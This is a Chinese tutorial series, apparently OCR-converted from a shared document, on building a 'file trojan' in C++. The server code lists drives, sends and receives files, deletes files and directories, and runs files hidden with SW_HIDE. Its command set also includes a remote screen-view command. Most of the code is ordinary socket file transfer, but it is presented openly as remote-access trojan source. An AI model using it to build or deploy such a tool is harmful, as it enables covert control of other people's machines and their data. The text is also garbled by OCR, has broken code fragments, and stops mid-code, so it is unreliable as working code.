C++實現(xiàn)文件傳輸
《C++實現(xiàn)文件傳輸》由會員分享,可在線閱讀,更多相關《C++實現(xiàn)文件傳輸(26頁珍藏版)》請在裝配圖網(wǎng)上搜索。
1、C++實現(xiàn)文件傳輸之一:框架結構和界面實現(xiàn) 在木馬中文件管理的重要性,是無需質疑的,對于文件的管理,做到并不難,但做 好卻也不易在我們編寫一個功能完整的“文件木馬” 其實現(xiàn)效果如圖所示。為了文章的完整性,我們將分為數(shù)篇來介紹,本文主要介 紹程序的整體框架和界面實現(xiàn),在以后的文章中將以此框架為基礎實現(xiàn)詳細的功 實現(xiàn):枚舉磁盤,枚舉目錄,獲取文件信息 上傳文件,下載文件,執(zhí)行文件,創(chuàng)建目錄,刪除目錄等 傳輸控制結構 要實現(xiàn)客戶端與服務端的通信,設計一個合理的傳輸控制結構,會使后面的工作 輕松很多,為了使代碼易讀 首先對要使用的命令進行預定義其各個命令定義如下 #defi ne Ge
2、tDriver 0x01 // 磁盤信息 #defi ne GetDirl nfo 0x02 // 目錄信息 #defi ne ExecFile 0x03 // 執(zhí)行文件 #defi ne GetFile 0x04 // 下載文件 #defi ne PutFile 0x05 // 上傳文件 #defi ne DelFile 0x06 // 刪除文件 #defi ne DelDir 0x07 // 刪除目錄 #defi ne CreateDir 0x08 // 創(chuàng)建目錄 #defi ne FileI nfo 0x09 // 文件信息 #defi ne GetScreen 0x1
3、0 // 查看屏幕 在程序的網(wǎng)絡通信中主要有 操作命令,命令對像,和具體數(shù)據(jù)三部分,對于命令 的傳輸定義如下結構 typedef struct { int ID; // 操作命令 BYTE lparam[BUF_LEN*2]; // 命令對像 }COMMAND; 因為在程序中打交道最多的就是文件 , 對文件的詳細屬性定義如下結構 typedef struct { char FileName[MAX_PATH]; // 文件名稱 int FileLen; // 文件長度 char Time[50]; // 時間信息 BOOL IsDir; // 為目錄否 BOOL
4、Error; // 錯誤信息 HICON hIcon; // 圖標句柄 }FILEINFO; 服務端結構 服務端還是比較簡單的其整體思路如下 1. 服務端循環(huán)接受連接 , 并把連接交給線程處理 2. 線程接受"命令數(shù)據(jù)",并跟據(jù)命令ID將命令對像和SOCKE句柄傳給處理函數(shù) 3. 函數(shù)執(zhí)行指定功能 , 并返回執(zhí)行結果 對整體結構的描述 , 我們用偽代碼表述如下 main() { /* 初示化設置 */ while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&len))// 循環(huán)接受連接 { Cr
5、eateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);// 傳遞線程 處 理 } } /* 清理釋放資源 */ WSACleanup(); } 服務端程序運行后循環(huán)接受連接 , 如果有新的連接就傳遞給新的線程處理 , 線程 代碼如下 DWORD WINAPI SLisen(LPVOID lparam) { SOCKET client=(SOCKET)lparam; COMMAND command; while(1) { if(recv(client,(char*)&command,sizeof(command)
6、,0)==SOCKET_ERROR)// 接 受命令數(shù)據(jù) { cout<<"The Clinet Socket is Closed/n"; break; }else { switch(command.ID)// 判斷命令 ID { case GetDriver:// 將命令對像和SOCKE句柄傳遞給處理函數(shù) GetDriverProc (command,client); break; case DelFile: DelFileProc (command,client); break; /* 其它命令 */ } } } } 線程式的功能是接受客戶端的 "命
7、令數(shù)據(jù)", 并跟跟據(jù)命令 ID 將命令對像傳遞給 處理函數(shù) , 由函數(shù)完成指定的功能 以刪除文件命令為例其函數(shù)格式如下 DWORD DelFileProc (COMMAND command,SOCKET client) { if(DeleteFile((char*)command.lparam)==0)//command.lparam 為命令對像 , 這里為要刪除的文件路徑 { send(client," 刪除失敗 ..."); } else { send(client," 刪除成功 ..."); } } 很容易看出,處理函數(shù)接受"命令對像"和客戶端SOCKE句柄,
8、執(zhí)行后會把結果傳 遞回去 客戶端結構 客戶端結構的實現(xiàn)思路如下 1. 跟服務端建立連接 2. 發(fā)送用戶命令 3. 啟動一個線程 ,用于接受服務端的返回信息 對整體結構的描述 , 我們用偽代碼表述如下 void CMyDlg::OnConnect() { if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)// 連 接 { return ; } CreateThread(NULL,NULL,CLisen,this,NULL,NULL);// 創(chuàng) 建 線 程 用 于 接 受 SERVE返回信
9、息 } 對于用戶發(fā)送的命令我們?nèi)砸詣h除文件為例說明其代碼如下 void CMyDlg::OnMenuDelFile() { HTREEITEM CurrentNode = m_tree.GetSelectedItem(); // 取得選擇的節(jié)點 CString FullPath =GetFullPath(CurrentNode); // 取得節(jié)點全目錄 COMMAND command; command.ID=DelFile; // 設置命令為刪除文件 // 刪除文件 command.lparam=FullPath.LockBuffer()); // 將路徑加入命令對像 send(
10、server,command); } 用于接受SERVE返回信息的線程,和服務端接受命令線程相似,這里就不再說 明了,有興趣可以看下源代碼 到這里程序的流程框架就介紹完了,下面我們再看一下程序的界面設置 . 界面實現(xiàn) 程序的主界面如上圖所示,主程序是一個對話框,主要包括一個樹控件 m_tree 和列表控件 m_list 分別 用于顯示磁盤目錄和文件,在對話框初示化時用以下代碼設置樹控件的屬性 DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE); dwStyle |=TVS_HASBUTTONS | TVS_HASLINES
11、| TVS_LINESATROOT; SetWi ndowLo ng(m_tree.m_hWnd,GWL_STYLE,dwStyle); 對于列表框控件則沒有太多要求,要留意的是,如果顯示圖標應該把 Styles顯 示屬性設置為ICON VC的做出的界面,常常讓人有種摔鍵盤的沖動。其實稍微留意一下其設置,也 可以讓它漂亮一些 比如上圖所示的界面就是經(jīng)過簡單設置得到的, 而沒有用其它類庫,有點興趣? 其設置方法為: 1. 在對話框屬性中設置 Styles的Border屬性為Th in 2. 選重More Styles " 可見"屬性 3. 選重Extended Styles 的"
12、靜態(tài)邊"屬性 這樣再運行一下程序是不是感覺清新不少 ? 到這里程序的主要結構框架和界面實現(xiàn)就介紹完了, 下一篇將詳細介紹其各種功 能的實現(xiàn) C++實現(xiàn)文件傳輸之二 在上一篇中,我們以經(jīng)介紹了程序的流程和框架,在本篇將詳細討論各個功能的 實現(xiàn)主要包括 1. 獲取磁盤信息 2. 獲取目錄信息 3. 獲取文件信息 4. 運行指定文件 5. 刪除指定文件 6. 刪除指定目錄 7. 創(chuàng)建指定目錄 8. 上傳下載文件 9. 獲取遠程文件圖標 獲取磁盤信息 磁盤信息可以用API GetDriveType來實現(xiàn),它以路徑名作為參數(shù)(如C:/)返回磁 盤類型,其實例代碼如下 DWOR
13、D GetDriverProc(COMMAND comma nd,SOCKET clie nt) { for(char i=A;i<=Z;i++) { char x[20]={i,:}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { /* 返回處理結果 ...*/ } } return 0; } GetDriveType 可能返回的結果如下 #define DRIVE_UNKNOWN 0 // 無效路徑名 #define DRIV
14、E_NO_ROOT_DIR 1 // 無效路經(jīng),如無法找到的卷標 #define DRIVE_REMOVABLE 2 // 可移動驅動器 #define DRIVE_FIXED 3 // 固定的驅動器 #define DRIVE_REMOTE 4 // 網(wǎng)絡驅動器 #define DRIVE_CDROM 5 // CD-ROM #define DRIVE_RAMDISK 6 // 隨機存取(RAM磁盤 在上面的實例代碼中我們只取 , 硬盤,光驅和移動磁盤 獲取目錄信息 這里只要枚舉用戶指定的目錄就可以了 , 其實例代碼如下 : DWORD GetDirInfoProc(COM
15、MAND command,SOCKET client) { /*command為要枚舉的路徑如(C:/)client 為返回結果的SOCKE句柄*/ FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); strcat((char*)command.lparam,"*.*");// 枚舉所有文件 CFileFind file; BOOL bContinue = file.FindFile((char*)command.lparam); while(bContinue) { memset((char*)&fi,0,sizeof(fi));
16、bContinue = file.FindNextFile(); if(file.IsDirectory()) // 為目錄 { fi.IsDir=true; } strcpy(fi.FileName,file.GetFileName().LockBuffer()); // 保存文件名稱 if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR) { cout << "Send Dir is Error/n"; } } return 0; } 獲取文件信息 以下實例代碼用來獲取 文件的名稱 ,路徑, 時間, 屬性等
17、信息 DWORD FileInfoProc (COMMAND command,SOCKET client) { /*command為要查看的文件如(C:/TEST.EXE)client 為返回結果的SOCKE句柄*/ FILEINFO fi; HANDLE hFile; WIN32_FIND_DATA WFD; memset((char*)&WFD,0,sizeof(WFD)); if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_ VALUE) // 查看文件屬性 { fi.Error=
18、true; return 0; } // 得到文件的相關信息 SHGetFileInfo(WFD.cFileName, FILE_ATTRIBUTE_NORMAL, &shfi, sizeof(shfi), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME ); strcpy(fi.FileName,(char*)command.lparam); // 文件路徑 FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; // 文 件長 度 fi.FileLen=Fi
19、leLen; // 轉化格林時間到本地時間 FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime); // 文件修改時間 sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d", systime.wYear,systime.wMonth,systime.wDay,systime.wHour, systime.wMinute,systime.wSecond); if(GetFileAttributes((char
20、*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) { /* 隱藏文件 ...*/ }else if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) { /* 只讀文件 ...*/ } send(client,(char*)&fi,sizeof(fi),0); FindClose(hFile); return 0; } 運行指定文件 運行文件 有以下幾種方法 1.WinExec 2.ShellExecute 3.CreateProcess 這里使用的是 Shel
21、lExecute 其實例代碼如下 DWORD ExecFileProc (COMMAND command,SOCKET client) { /*command 為要運行的文件路徑如 (C:/TEST.EXE)client 為返回結果的 SOCKET 句柄 */ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=ExecFile; if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)< (HINSTANCE)32) { strcpy((cha
22、r*)cmd.lparam," 文件執(zhí)行失敗 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 文件執(zhí)行成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; } API 函數(shù) ShellExecute 原形為: HINSTANCE ShellExecute( 窗口句柄 操作類型 文件指針 // 文件參數(shù) 缺省目錄 顯示方式 HWND hwnd, // LPCTSTR lpOperation, /
23、/ LPCTSTR lpFile, // LPCTSTR lpParameters, LPCTSTR lpDirectory, // INT nShowCmd // ); 這是一個相當有意思的函數(shù) , 在調(diào)用此函數(shù)時只須指定要執(zhí)行的文件名 , 而不必 管用什么程序去打開 或執(zhí)行文件,WINDOWS自動根據(jù)要打開或執(zhí)行的文件去判斷該如何執(zhí)行文件或 用什么程序去打開文件 , 如果 要求不高的話比CreateProcess要好用的多,如果想做出像NCP和灰鴿子那樣帶 參數(shù)執(zhí)行的話 , 其實也不難 只要指定 lpParameters 為執(zhí)行參數(shù)就可了 刪除指定文件 DWORD DelFil
24、eProc (COMMAND comma nd,SOCKET clie nt) { /*command 為要刪除的文件路徑如 (C:/TEST.EXE)client 為返回結果的 SOCKET 句柄 */ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=DelFile; SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); // 去 掉文件的系統(tǒng)和隱藏屬性 if(DeleteFile((char*)command.lparam)==0) { s
25、trcpy((char*)cmd.lparam," 文件刪除失敗 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 文件刪除成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; 需要注意的是在 DeleteFile 前應該去文件的系統(tǒng)和隱藏屬性 , 否則會刪除失敗 刪除目錄 可以用 RemoveDirectory 函數(shù)刪除目錄 , 但是 RemoveDirectory 有個缺點就是只 能刪除為空的的目
26、錄 , 對于不為空 的目錄就無能為力了 , 想要刪除不無空的目錄可以使用下面的實例代碼 BOOL DeleteDirectory(char *DirName) { CFileFind tempFind; char tempFileFind[200]; sprintf(tempFileFind,"%s*.*",DirName); BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDo
27、ts()) { char foundFileName[200]; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200)); if(tempFind.IsDirectory()) { char tempDir[200]; sprintf(tempDir,"%s//%s",DirName,foundFileName); DeleteDirectory(tempDir); } else { char tempFileName[200]; sprintf(tempFileName,"%s//%s",DirName,foun
28、dFileName);
SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); // 去掉文件的系 統(tǒng)和隱藏屬性
DeleteFile(tempFileName);
cout <<"now delete "< 29、后刪除
指定目錄,成功返回TRUEfe敗則返回FALSE這段代碼可以直使用,但要小心使用, 因為我在傳參數(shù)時的失誤
結果把整個 D 盤差點清空了
創(chuàng)建目錄
實例代碼如下:
DWORD CreateDirProc (COMMAND command,SOCKET client)
{
/*command為要創(chuàng)建目錄的路徑如(C:/)client 為返回結果的SOCKE句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=CreateDir; if(::CreateDirectory((char*)command 30、.lparam,NULL))
{ strcpy((char*)cmd.lparam," 創(chuàng)建目錄成功 !");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam," 創(chuàng)建目錄失??!可能有重名文件或文件夾"); send(client,(char*)&cmd,sizeof(cmd),0);
}
return 0;
}
在創(chuàng)建目錄時應該注意幾點 ,首先創(chuàng)始目錄的上層目錄必須是存在的 ,比如想創(chuàng) 建C:/DIR1/DIR2目錄,要求
DIR1 是必須存在 , 用 CreateDir 31、ectory 并不能創(chuàng)建多級目錄 . 再者不可以存在和 要創(chuàng)建目錄同名的目錄和文件
因為在磁盤上目錄和文件的存放格式是相同的 , 惟一不同的是 目錄的屬性與文 件屬性不同
(FILE_ATTRIBUTE_DIRECTO屬生),所在即使有同名文件也會創(chuàng)始失敗.
上傳下載文件 上傳下載是是文件管理的重點所在 , 在這里按文件的大小 , 分兩種情況討論文件 的傳輸方法 小文件的傳輸相對比較簡單可按以下方法進行
1. 首先發(fā)送文件長度和名稱
2. 跟據(jù)文件長度建立緩沖區(qū)
3. 讀取整個文件到緩沖區(qū)
4. 發(fā)送緩沖區(qū)里的內(nèi)容
其實現(xiàn)代碼如下 :
CFile file;
FILEIN 32、FO fileinfo; if(file.Open(path,CFile::modeRead|CFile::typeBinary))
{ fileinfo.FileLen=file.GetLength(); // 文件長度
strcpy(fileinfo.FileName,file.GetFileName()); // 文件名稱 send(client,(char*)&fileinfo,sizeof(fileinfo),0); // 發(fā)送長度和名稱
char *date=new char[fileinfo.FileLen]; //
int nLeft=fileinfo.FileLen; 33、
int idx=0;
file.Read(date,fileinfo.FileLen); // while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0); //
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
分配和文件長度相同的緩沖區(qū)
讀整個文件到緩沖區(qū)
發(fā)送文件
}
file.Close();
delete[] date;
}
跟據(jù)上面的實例相信大家可以領悟到文件傳輸?shù)幕驹砗头椒?, 雖然很簡單但 用它傳輸小文件還是非常實用的
34、
大文件傳輸方法 用上面的方法傳輸小文件還可以,但是大文件呢?比如一個500M的電影.上面的 方法就會力不從心了因為
按思路要創(chuàng)建一個跟文件大小相同的緩沖區(qū) , 顯然這是不太現(xiàn)實的 , 我們就得采 用另種方法了 , 在這里我們使用
分塊文件傳輸 , 所謂分塊是指把大文件分成若干小文件 , 然后傳輸 , 比如設定每塊 大小為64KB其思路如下
1. 取得文件長度和名稱
2. 跟據(jù)長度/64KB計算文件塊數(shù)
3. 分配64KB緩沖區(qū)
4. 讀文件到緩沖區(qū)
5. 發(fā)送緩沖的數(shù)據(jù)
6. 重復 4,5 兩步直到發(fā)完所有數(shù)據(jù)
其實現(xiàn)代碼如下 :
#define CHUNK_SIZE ( 35、64*1024) // 分為 64K塊傳輸
DWORD GetFileProc (COMMAND command,SOCKET client) {
/*command 為要下載文件的路徑如 (C:/TEST.EXE)client 為發(fā)送文件的 SOCKET 句柄*/
COMMAND cmd;
FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=GetFile;
CFile file;
int nChunkCount=0; // 文件塊數(shù)
if(file.O 36、pen((char*)command.lparam,CFile::modeRead|CFile::typeBinary)
)// 打開文件
{
int FileLen=file.GetLength(); // 取文件長度
fi.FileLen=file.GetLength(); strcpy((char*)fi.FileName,file.GetFileName()); // 取文件名稱
memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));
send(client,(char*)&cmd,sizeof(cmd),0); // 發(fā)送文件名 37、稱和長度
nChunkCount=FileLen/CHUNK_SIZE; // 文件塊數(shù)
if(FileLen%nChunkCount!=0) nChunkCount++; char *date=new char[CHUNK_SIZE]; // 創(chuàng)建數(shù)據(jù)緩沖區(qū) for(int i=O;i 38、 idx=O;
file.Read(date,CHUNK_SIZE); // 讀取文件
while(nLeft>O)
{
int ret=send(client,&date[idx],nLeft,O);// 發(fā)送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
}
file.Close();
delete[] date;
}
return O;
}
這樣文件傳輸部分就完成了 , 止于客戶端的實現(xiàn)于上面代碼其本相同 ,只是由讀 文件變?yōu)閷懳募?, 詳細請參考源代碼 獲取遠程 ICO 文件圖標 39、
我們在文件列表框中需要顯示文件的圖標, 但遠程文件的 ICO 圖標是無法直接得 到的
猛若RADMINI洞者也沒有到(對于EXE文件只顯示可執(zhí)行程序圖示),當然了也 不見的決對沒有
我們可以通過如下變通方法得到: 就是跟據(jù)文件的擴展名, 從本地注冊表中查找 對應的程序圖標 不過這也有它的缺點對于EXE文件它只能顯示一個可執(zhí)行文件的圖示,而且只能 顯示注冊過的圖示比如,如果
本機裝有WINRA那么就可以識別.RAR的文件圖示,否則就無法識別 …
實現(xiàn)方法
ClmageList m_lmageList;
m」m ageList.Create(32,32,ILC_COLOR32, 40、10,30); // 創(chuàng)建圖示
m」ist.SetlmageList(&m」m ageList,LVSIL_NORMAL); // 與列表控件相關連
SHFILEINFO info;
memset((char* )&in fo,0,sizeof(i nfo));
SHGetFileI nfo(fi->FileName,0,&in fo,sizeof(&in fo), SHGFI」CON|SHGFI_ USEFILEATTRIBUTES);/關鍵所在
int i = m_lmageList.Add(i nfo.hlc on);
m_l ist.l nsertItem(i,fi->Fi 41、leName,i);
原來我試圖在Server端通過上面的代碼把info.hlcon 句柄保存下來,然后放到 Client,在單臺電腦上很好使,但
Server在另一臺電腦上時就玩完了,因為info.hlcon 里保存的句柄是個索引而
每臺機器上的索引是不相同的所以
直接導致的結果就是:什么也顯示不出來....
C++實現(xiàn)文件傳輸之三:斷點續(xù)傳與多線程傳輸轉
繼木馬編程DIY的上兩篇,現(xiàn)在我們開始討論斷點續(xù)傳與多線程文件傳輸?shù)膶崿F(xiàn) 其實這兩項功能是下載軟件所
必不可少的功能了,現(xiàn)在我們把它加到自己的木馬中來感受感受 .提到多線程下
載,首先向網(wǎng)絡螞蟻的作者
洪以容前輩致敬,正 42、是由于網(wǎng)絡螞蟻而使得多線程下載被關注并流行起來 ?在這
本篇文章中我們將簡單的實現(xiàn)
支持斷點續(xù)傳和多線程傳輸?shù)某绦?為了更清晰的說明問題,我們將斷點續(xù)傳與 多線程傳輸分別用兩個程序來實現(xiàn)
多線程傳輸實現(xiàn)
實現(xiàn)原理
將源文件按長度為分為N塊文件,然后開辟N個線程,每個線程傳輸一塊,最后合 并所有線線程文件?比如
一個文件500M我們按長度可以分5個線程傳輸.第一線程從0-100M,第二線程從
100M-200M…… 最后合并5個線程文件.
實現(xiàn)流程
1. 客戶端向服務端請求文件信息 (名稱, 長度)
2. 客戶端跟據(jù)文件長度開辟N個線程連接服務端
3. 服務端開辟新的線程與 43、客戶端通信并傳輸文件
4. 客戶端將每線程數(shù)據(jù)保存到一個文件
5. 合并所有線程文件
編碼實現(xiàn)
大體說來就是按以上步驟進行 ,詳細的實現(xiàn)和一些要點 , 我們跟據(jù)以上流程在編 碼中實現(xiàn)
結構定義
在通信過程中需要傳遞的信息包括文件名稱 ,文件長度,文件偏移,操作指令等信 息, 為了方便操作我們定義如下結構
代碼:
typedef struct
{
char
Name[100];
//
文件名稱
int
FileLen;
//
文件長度
int
CMD;
//
操作指令
int
seek;
//
線程開始位置
SOCKET sockid;
44、}FILEINFO;
1. 請求文件信息
客戶端代碼如下
代碼:
FILEINFO fi;
memset((char*)&fi,0,sizeof(fi));
fi.CMD=1; // 得到文件信息
if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR) {
cout<<"Send Get FileInfo Error/n";
}
服務端代碼如下
while(true)
{
SOCKET client;
if(client=accept(server,(sockaddr *)&clientaddr,&len)) { 45、
FILEINFO RecvFileInfo;
memset((char*)&RecvFileInfo,0,sizeof(RecvFile Info));
if(recv(client,(char*)&RecvFileInfo,sizeof(Re cvFileInfo),0)==SOCKET_ERROR)
{
cout<<"The Clinet Socket is Closed/n"; break;
}else
{ EnterCriticalSection(&CS);
// 進入臨界區(qū) memcpy((char*)&TempFileInfo,(char*)&R ecvFil 46、eInfo,sizeof(RecvFileInfo));
switch(TempFileInfo.CMD)
{
case 1:
GetInfoProc (
client);
break;
case 2:
TempFileInfo.sockid=
client;
CreateThread(NULL,NU
LL,GetFileProc,NULL,NULL,NULL);
break;
} LeaveCriticalSection(&CS);
// 離開臨界區(qū)
}
}
}
在這里服務端循環(huán)接受連接 , 并跟據(jù) TempFileInfo.CMD 來判斷客戶端的請求類 47、型 ,1 為請求文件信息 ,2 為下載文件
因為在下載文件的請求中 , 需要開辟新的線程 , 并傳遞文件偏移和文件大小等信 息,所以需要對線程同步 . 這里使用臨界區(qū) 其文件信息函數(shù) GetInfoProc 代碼如下
代碼:
DWORD GetInfoProc(SOCKET client)
{
CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) {
int FileLen=file.GetLength(); if(send(client,(char*)&FileLen,sizeof(FileLe 48、n),0)==SO CKET_ERROR)
{
cout<< "Send FileLen Error/n";
}else
{
cout<< "The Filelen is "< 49、)// 接受文件長度
{
cout<<"Recv FileLen Error/n";
}else
{
cout<<"FileLen is "< 50、1==5) // 最后一線程長度為總長度減前 4 個線程長度
{ FI.FileLen=FileLen-COUNT_SIZE*i;
}else
{ FI.FileLen=COUNT_SIZE;
}
Thread=CreateThread(NULL,NULL,GetFileThread,&
i,NULL,NULL);
Sleep(500);
//
LeaveCriticalSection(&CS);
離開臨界區(qū)
}
} WaitForMultipleObjects(5,Thread,true,INFINITE);
// 等所有線程結束
這里默認開辟 5 個線程傳輸 51、,當然可以改為想要的線程數(shù)目 , 仍然用臨界區(qū)來實 現(xiàn)線程的同步問題
3. 服務端開辟線程傳輸數(shù)據(jù)
在 1. 請求文件信息中以說明了服務端的結構 , 這里主要介紹線程函數(shù)的實現(xiàn) , 其 代碼如下
代碼:
DWORD WINAPI GetFileProc(LPVOID lparam)
{
EnterCriticalSection(&CS); // 進入臨界 區(qū)
int FileLen=TempFileInfo.FileLen;
int Seek=TempFileInfo.seek;
SOCKET client=TempFileInfo.sockid;
LeaveCritica 52、lSection(&CS); // 離開臨界 區(qū)
CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) {
file.Seek(Seek,CFile::begin); // 指針移 至偏移位置
char *date=new char[FileLen];
int nLeft=FileLen;
int idx=0;
file.Read(date,FileLen); while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0); if(ret==S 53、OCKET_ERROR) {
cout<<"Send Date Error /n"; break;
} nLeft-=ret; idx+=ret;
} file.Close();
delete[] date;
}else
{ cout<<"open the file error/n";
} closesocket(client);
return 0;
}
還是比較簡單的 ,主要是獲取線程的文件長度和偏移 , 并移動文件指針到偏移處 最后讀取發(fā)送數(shù)據(jù) , 而客戶端 接受數(shù)據(jù)并寫入文件 .
4. 客戶端將線程數(shù)據(jù)保存到文件
GetFileThread 的實現(xiàn)代碼如下 代碼 54、:
DWORD WINAPI GetFileThread(LPVOID lparam)
{
char TempName[MAX_PATH]; sprintf(TempName,"TempFile%d",*(DWORD*)lparam); // 每線 程的文件名為"TempName"線程數(shù)
SOCKET client;
SOCKADDR_IN serveraddr;
int port=5555; client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family=AF_INET;
serveraddr.sin_ 55、port=htons(port); serveraddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); if(connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr))=
=INVALID_SOCKET)
{ cout<<"Connect Server Error/n";
}
EnterCriticalSection(&CS); // 進入臨界區(qū)
if(send(client,(char*)&FI,sizeof(FI),0)==SOCKET_ERROR)
{ cout<<"Send 56、GetFile Error/n";
return 0;
}
文件長度 文件偏移 離開臨界區(qū)
CFile file;
int FileLen=FI.FileLen; //
int Seek=FI.seek; //
LeaveCriticalSection(&CS); //
if(file.Open(TempName,CFile::modeWrite|CFile::typeBinary|CFil e::modeCreate))
{
char *date = new char[FileLen];
int nLeft=FileLen;
int idx=0;
while(nLe 57、ft>0)
{
int ret=recv(client,&date[idx],nLeft,0);
if(ret==SOCKET_ERROR)
{
cout<<"Recv Date Error";
break;
}
idx+=ret;
nLeft-=ret;
}
file.Write(date,FileLen);
file.Close();
delete[] date;
}else
{
cout<<"Create File Error/n";
}
return 0;
}
在此線程函數(shù)中,將每線程傳輸?shù)臄?shù)據(jù)存為一個文件,文件名為"TempName"線程 數(shù), 58、 只所以存成單獨的文件是
因為比較直觀且容易理解 , 但如果文件很大的話這個方法并不好 , 因為合并文件 又會花費很多時間 , 另一個方法
是 創(chuàng)始一個文件 , 讓每個線程寫入文件的不同偏移 , 這樣就可以不必單獨合并文 件了 , 但要記得打開文件時
加入 CFile::shareDenyNone 屬性. 這樣整個過程就完成了 .最后一步合并線程文 件
5. 合并線程文件
代碼:
int UniteFile() // 合并線程文件
{
cout<<"Now is Unite Fileing.../n";
int len;
char *date;
CFile file;
59、CFile file0;
/* 其它文件 */
if(file.Ope n(FileName,CFile::modeCreate|CFile::typeBi nary|CFi le::modeWrite))〃 創(chuàng)建文件
{
fileO.Ope n("TempFileO",CFile::modeRead|CFile::typeB in ary);//合并第一線程文件
len=fileO.GetLe ngth();
date=new char[le n];
fileO.Read(date,le n);
file.SeekToE nd();
file.Write(date,le 60、n);
file1.Ope n("TempFile1",CFile::modeRead|CFile::typeB in ary);//合并第二線程文件
len=file1.GetLe ngth();
date=new char[le n];
file1.Read(date,le n);
file.SeekToE nd();
file.Write(date,le n);
/* 合并其它線程……*/
fileO.CIose();
file1.Close();
delete[] date;
return true;
}else
{
return false;
}
}
61、
這個簡單,就是打開一個文件讀取到緩沖區(qū),寫入文件,再打開第二個…… 現(xiàn)在 多線程傳輸部分就介紹完了
下面討論斷斷點續(xù)傳的實現(xiàn)
C++實現(xiàn)文件傳輸之四:斷點傳輸
所謂的斷點續(xù)傳就是指:文件在傳輸過程式中被中斷后,在重新傳輸時,可以從上 次的斷點處開始傳輸,這樣就可節(jié)省時間,和其它資源.
實現(xiàn)關鍵在這里有兩個關鍵點,其一是檢測本地已經(jīng)下載的文件長度和斷點值 ,
其二是在服務端調(diào)整文件指針到斷點處
實現(xiàn)方法
我們用一個簡單的方法來實現(xiàn)斷點續(xù)傳的功能.在傳輸文件的時候創(chuàng)建一個臨時 文件用來存放文件的斷點位置
在每次發(fā)送接受文件時 ,先檢查有沒有臨時文件 , 如果有的話就從臨時文件 62、中讀
取斷點值 , 并把文件指針移動到
斷點位置開始傳輸 , 這樣便可以做到斷點續(xù)傳了
實現(xiàn)流程
首次傳輸其流程如下
1. 服務端向客戶端傳遞文件名稱和文件長度
2. 跟據(jù)文件長度計算文件塊數(shù) (文件分塊傳輸請參照第二篇文章 )
3. 客戶端將傳輸?shù)膲K數(shù)寫入臨時文件 (做為斷點值 )
4. 若文件傳輸成功則刪除臨時文件
首次傳輸失敗后將按以下流程進行
1. 客戶端從臨時文件讀取斷點值并發(fā)送給服務端
2. 服務端與客戶端將文件指針移至斷點處
3. 從斷點處傳輸文件
編碼實現(xiàn)
因為程序代碼并不復雜 , 且注釋也比較詳細 ,這里就給出完整的實現(xiàn)
其服務端實現(xiàn)代碼如下
63、代碼:
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
coutvv"/t/t 服務端-斷點續(xù)傳"vv"/t作者:冷風/n/n"vv"請輸入被下
載的文件路徑 如 C://File.rar /n/n"<<" 文件路徑 : ";
cin >>FilePath;
/* 這部分為網(wǎng)絡參數(shù)與設置 , 詳細請參照源代碼 */
while(true)
{
if(client=accept(server,(sockaddr *)&clientaddr,&len))
{
cout<<"have one connect/n";
64、int nCurrentPos=0;// 接受斷點值
if(recv(client,(char*)&nCurrentPos,sizeof(nCu rrentPos),0)==SOCKET_ERROR)
{
cout<<"The Clinet Socket is Closed/n";
break;
}else
{
cout<<"The Currentpos is
The"< 65、;
WSACleanup();
return 0;
return 0;
}
DWORD GetFileProc (int nCurrentPos,SOCKET client)
{
cout <<"Get File Proc is ok/n";
CFile file;
int nChunkCount=0; // 文件塊數(shù) if(file.Open(FilePath,CFile::modeRead|CFile::typeBinary))
{
if(nCurrentPos!=0)
{ file.Seek(nCurrentPos*CHUNK_SIZE,CFile::begin 66、); // 文件指針移至斷點處
cout<<"file seek is "<
- 溫馨提示:
